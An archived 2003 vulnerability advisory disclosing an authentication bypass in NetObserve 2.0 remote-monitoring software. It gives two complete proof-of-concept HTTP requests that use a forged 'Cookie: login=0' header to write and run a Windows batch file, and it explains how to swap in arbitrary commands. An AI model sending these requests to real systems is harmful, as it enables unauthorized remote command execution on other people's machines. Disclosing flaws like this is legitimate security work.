NetObserve Security Bypass Vulnerability

From: Peter Winter-Smith (peter4020_at_hotmail.com)
Date: 12/30/03

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    To: bugs@securitytracker.com, bugtraq@securityfocus.com, news@securiteam.com, vuln@secunia.com, vuln@security.nnov.ru, vulndb@securityfocus.com, vulnwatch@vulnwatch.org
    Date: Mon, 29 Dec 2003 23:30:24 +0000
    
    

    NetObserve Security Bypass Vulnerability

    ########################################

    Credit:
    Author : Peter Winter-Smith

    Software:
    Packages : NetObserve
    Version : 2.0 and prior
    Vendor : ExploreAnywhere Software
    Vendor Url : http://www.exploreanywhere.com/no-intro.php

    Vulnerability:
    Bug Type : Security Bypass
    Severity : Highly Critical
                  + Remote System Command Via NetObserve

    1. Description of Software

    "NETObserve is your all in one solution to monitoring spouses, co-workers,
    children, employee's and just about any other person you may concerned of
    that is using your PC! NETObserve will monitor not only what is going on
    within your PC, but it can also record what is going on in front of your
    PC, through the use of our breakthrough web cam surveillance technology!
    With NETObserve on your side, you will have remote, realtime access to
    your PC, allowing you to remotely control and monitor a PC while you are
    away! Read on to find out why NETObserve is leading the way in the cutting
    edge industry of PC monitoring, surveillance, and administration!"
    - Vendor's Description

    2. Bug Information

    (a). Security Bypass

    NetObserve is extremely persistant when trying to ensure that any remote
    user issuing commands to the server is properly authenticated. It seems
    that even if the remote administrator closes his or her browser they are
    required to login again before they can gain control of the remote system.

    Once a legitimate session with an administrator has been established, the
    browser confirms that the commands which the remote user is issuing are
    allowed to be performed on the remote system by sending a special HTTP
    header to the NetObserve server.

    The only problem with this is the fact that any remote user can attach the
    special header directly to their own specially crafted request, and
    NetObserve blindly believes that a session with an administrator was
    already in progress.

    The special header in question is nothing more than 'Cookie: login=0'!

    3. Proof of Concept Code

    The following two HTTP requests will execute commands via the windows
    command interpreter on the remote system:

    REQUEST #1:

    --------------------------------------------------------------------------
    POST /sendeditfile HTTP/1.1
    Accept: */*
    Referer: http://127.0.0.1/editfile=?C:\WINDOWS\win.bat?
    Content-Type: application/x-www-form-urlencoded
    Host: AnyHostWillDo
    Content-Length: 25
    Cookie: login=0

    newfiledata=cmd+%2Fc+calc
    --------------------------------------------------------------------------

    REQUEST #2:

    --------------------------------------------------------------------------
    GET /runfile=?C:\windows\win.bat? HTTP/1.1
    Accept: */*
    Host: AnyHostWillDo
    Cookie: login=0

    --------------------------------------------------------------------------

    To change the commands to be run, just alter the 'Content-Length' of the
    first request to be the length of the line of commands, including the
    string 'newfiledata='.
    Then alter the data being posted under 'newfiledata', remembering to
    replace spaces with '+' and encode any common HTTP characters, like '/'
    as hexadecimal values, '%2F' in this instance.

    These specific requests sent unaltered will execute the windows
    calculator.

    4. Patches - Workarounds

    No fixes are available at the time of writing. It it suggested that you
    use a different, more secure remote administration software package until
    a patch is released.

    5. Credits

        The discovery, analysis and exploitation of this flaw is a result of
    research carried out by Peter Winter-Smith. I would ask that you do not
    regard any of the analysis to be 'set in stone', and that if investigating
    this flaw you back trace the steps detailed earlier for yourself.

    Greets and thanks to:
        David and Mark Litchfield, JJ Gray (Nexus), Todd and all the
    packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)),
    pv8man, nick k., Joel J. and Martine.

    o This document should be mirrored at:
        - http://www.elitehaven.net/netobserve.txt

    _________________________________________________________________
    Find a cheaper internet access deal - choose one to suit you.
    http://www.msn.co.uk/internetaccess


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    Relevant Pages

    • [NT] NETObserve Security Bypass Vulnerability
      ... Get your security news from a reliable source. ... NETObserve will monitor not only what is going on within your PC, ... The product has been found to be very insecure, allowing a remote attacker ... to login again before they can gain control of the remote system. ...
      (Securiteam)
    • [VulnWatch] NetObserve Security Bypass Vulnerability
      ... NetObserve Security Bypass Vulnerability ... NetObserve is extremely persistant when trying to ensure that any remote ... user issuing commands to the server is properly authenticated. ...
      (VulnWatch)
    • [VulnWatch] Re: NetObserve Security Bypass Vulnerability
      ... Re: NetObserve Security Bypass Vulnerability ... Vendor: ExploreAnywhere Software ... Vendor Url: http://www.exploreanywhere.com/no-intro.php ...
      (VulnWatch)